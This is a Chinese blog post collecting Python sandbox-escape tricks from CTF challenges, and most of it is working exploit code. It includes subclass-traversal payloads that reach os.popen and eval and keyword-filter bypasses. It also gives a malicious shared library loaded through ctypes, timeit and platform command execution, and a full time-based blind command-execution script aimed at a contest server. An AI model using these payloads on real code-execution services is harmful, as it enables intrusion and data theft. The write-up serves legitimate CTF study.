python沙箱逃逸一些套路的小结

版权声明:本博客所有文章除特别声明外,均采用 CC BY-NC-SA 3.0 许可协议。转载请注明出处! https://blog.csdn.net/wy_97/article/details/80393854

前言

总结一下各大赛事中的沙箱逃逸题,感觉还是很好玩的~

先说一下自己对于这种沙箱逃逸题的理解吧,关键在于绕过,一般就是逼你用一些特别的操作去绕过他ban掉的函数,得到flag

空说无意,我们直接来看比赛中的一些题目~

2018 ciscn(国赛)题RUN

它过滤了一些危险函数,比如:ossys等等,但我们可以通过类的继承关系找到被ban掉的库,然后将它导入进来。比如:

().__class__.__bases__[0].__subclasses__()

从代码上我们比较好理解,就是从()找到它的父类也就是__bases__[0],而这个父类就是Python中的根类<type 'object'>,它里面有很多的子类,包括file等,这些子类中就有跟ossystem等相关的方法,所以,我们可以从这些子类中找到自己需要的方法。

  • python27
    这里写图片描述

  • python36
    这里写图片描述

知道了上面的基础后,我们可以找到一些payload,比如:

//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()

//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )

但这道题的突破点是在获得类的属性上,从网上找的payload中存在一些被ban掉的关键字,如func_globals中存在ls,这也是做题时卡着的地方。而这些都可以用__getattribute__进行突破

关于这里给出的最后一个可能的payload,我们来看一下其可获取的是什么?

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]

这里写图片描述

很明显可见evalmap等一些函数,根据这个payload,可知其对这些函数的使用方法为[‘function name’],简单本地做了一个测试,这是完全没有问题的。

这里写图片描述

本题最终给出payload

().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['popen']('l'+'s').read()

这个payload提到了一个新的点linecache, 搜索一下很容易得到这是一个模块用于读取文件的,但os出现在这里是个什么情况?

python本地查看一下属性,,,好吧,真的有~

().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__

这里写图片描述

以上这部分writeup参考的@junay博客

在Github上,我又看到了@Xopowo队伍大师傅放出来的write up,师傅们提出了一种新思路,使用到so

().__class__.__bases__[0].__subclasses__()中发现有可用的类

<type 'file'>
<class 'ctypes.CDLL'>
<class 'ctypes.LibraryLoader'>

构造一个so库,列一下/home/ctf/下的文件

#include <stdio.h>  
void my_init(void) __attribute__((constructor)); 
void my_init(void)  
{  
    system("ls -la /home/ctf/ > /tmp/ls_home_ctf");
}  

将编译好的so直接二进制写入/tmp/bk.so

使用ctypes加载so

().__class__.__bases__[0].__subclasses__()[86](().__class__.__bases__[0].__subclasses__()[85]).LoadLibrary('/tmp/bk.so')

SWPU CTF 2017 题python sandbox

这题用到了timeit的一个骚操作,直接贴官方的write up

出题思路:这其实是一个我想做的python在线代码编辑练习的站点,因为要考虑其安全性,所以我把文件读写,网络请求和一些危险模块ban掉了,这样就形成了一个沙盒,也就出现了这道题目。

从师傅们的payload可以看到大多是这几种:

    __builtin__

    [].__class__.__base__.__subclasses__()魔术方法;

    一些危险模块等

还有些师傅直接以为是pwn过沙盒,-。-!!但是其实没有那么复杂啊,这是一道web题,我后面给出的tips是:内置模块,内置函数,而python的内置模块百度下或者去官方还是很容易获得一个列表的,除去我ban掉的如os,sys等危险的模块,还有很多可以尝试的啊 .

我这里给出的利用是来自一个常见的内置模块:timeit.我相信很多初学python的人都会用到timeit模块来获取代码的执行时间,参看其文档可以看到这样的用法可以导致任意代码执行

#coding:utf-8 
import timeit 
timeit.timeit("__import__('os').system('')", number=1)

还有一个模块platform,同样也可以的


import platform 

platform.popen('id', mode='r', bufsize=-1).read()

timeit模块里利用import内置函数加载os模块,然后就可以任意命令执行了,但是cat flag是没有回显的,因为返回的是代码的执行时间.再加上这里我把发起网络请求也给ban了,所以并不能通过cloudeye等外带通道获取命令执行的结果。

于是这里就有了我以前碰到的一种特殊情况:一个没有回显不能访问外网的命令执行,怎么获取返回的结果呢?答案是:time based rce

最后写个类似盲注的脚本跑跑就出来了:

#coding:utf-8
#author:icematcha
import requests
import sys
import base64
payloads = "QWERTYUIIOPASDFGHJKLZXCVBNM1234567890="
def request(url, data, timeout):
    try:
        res = requests.post(url, data = data, timeout = timeout)
        return res.content
    except:
        return True
def get_length(url, cmd, timeout):
    length = '' 
    for i in xrange(1,10):
        value = '''#!/usr/bin/python
#coding:utf-8
import timeit
timeit.timeit("__import__('os').system('if [ $(%s|base32|wc -c|cut -c %s) =  ];then sleep 2;fi')", number=1)
''' % (cmd, i)
        data = {'process': value}
        res = request(url, data, timeout)  
        if res:
            llength = i
            break
    for i in xrange(1, llength):
        for _ in xrange(1, 10):
            value = '''#!/usr/bin/python
#coding:utf-8
import timeit
timeit.timeit("__import__('os').system('if [ $(%s|base32|wc -c|cut -c %s) = %s ];then sleep 2;fi')", number=1)
''' % (cmd, i, _)
            data = {'process': value}
            if request(url, data, timeout):
                length += str(_)
                print length
                break
    return length
def get_content(url, cmd, timeout, length):
    content = ''
    for i in xrange(1, int(length)+1):
        for payload in payloads:
            value = '''#!/usr/bin/python
#coding:utf-8
import timeit
timeit.timeit("__import__('os').system('if [ $(%s|base32|cut -c %s) = %s ];then sleep 2;fi')", number=1)
''' % (cmd, i, payload)
            data = {'process': value}
            if request(url, data, timeout):
                content += payload
                print content
                break
    return content
if __name__ == '__main__':
    length = get_length('http://47.95.252.234/runcode','cat flag', 2.0)
    print "## The base32 of content's length is:%s" % length
    content = get_content('http://47.95.252.234/runcode', 'cat flag', 2.0, length)
    print "## The base32 of content is:%s" % content
    print "## The commend result content is:%s" % base64.b32decode(content).strip()

以上write up来自比赛官方,而关于核心问题time based rce,其实就是可以理解为sql注入中我们常用的sleep盲注,这里都不用我们计算时间,时间由其返回

总结

1、注意题目为python2还是python3的环境,其对应的库会有很大的一个差距,但总体来说,python27有的,python3都有,但需要改变相应下标

2、曲径通幽,多绕绕,最终获得你想要的模块,认真找慢慢翻,会有很多的收获,比如从().__class__.__bases__[0].__subclasses__() 出发,查看可用的类

  • 若类中有file,考虑读写操作

  • 若类中有<class 'warnings.WarningMessage'>,考虑从.__init__.func_globals.values()[13]获取evalmap等等;又或者从.__init__.func_globals[linecache] 得到os

  • 若类中有<type 'file'><class 'ctypes.CDLL'><class 'ctypes.LibraryLoader'>,考虑构造so文件

其他的相关关键字可以搜索魔法函数,你会对这些看起来稀奇古怪的函数有更多的理解

3、分析ban函数的时候考虑使用字符串拼接结合__getattribute__绕过;当然也可以考虑base64加解密来进行绕过,这部分可以参考sql注入的绕过思想

4、两个不常见的执行任意命令的方法:

import timeit
timeit.timeit("__import__('os').system('dir')",number=1)
import platform
print platform.popen('dir').read()

timeit考虑time based rce

5、注意一种简单题型,出题者只做了如下一些处理:

>>> del __builtins__.__dict__['__import__'] # __import__ is the function called by the import statement
>>> del __builtins__.__dict__['eval'] # evaluating code could be dangerous
>>> del __builtins__.__dict__['execfile'] # likewise for executing the contents of a file
>>> del __builtins__.__dict__['input'] # Getting user input and evaluating it might be dangerous

看起来好像已经非常安全是么?但是,reload(module) 重新加载导入的模块,并执行代码。所以模块被导回到我们的命名空间。

6、导入模块的方式。

  • 最直接的import.
  • 内置函数 import
  • importlib库

commands模块为列:

import importlib
f3ck = importlib.import_module("pbzznaqf".decode('rot_13')
print f3ck.getoutput('ifconfig')

7、阅读了大量相关文章,看到有大牛通过pwn去做python沙箱逃逸题,pwn师傅们可以自行搜索~

没有更多推荐了,返回首页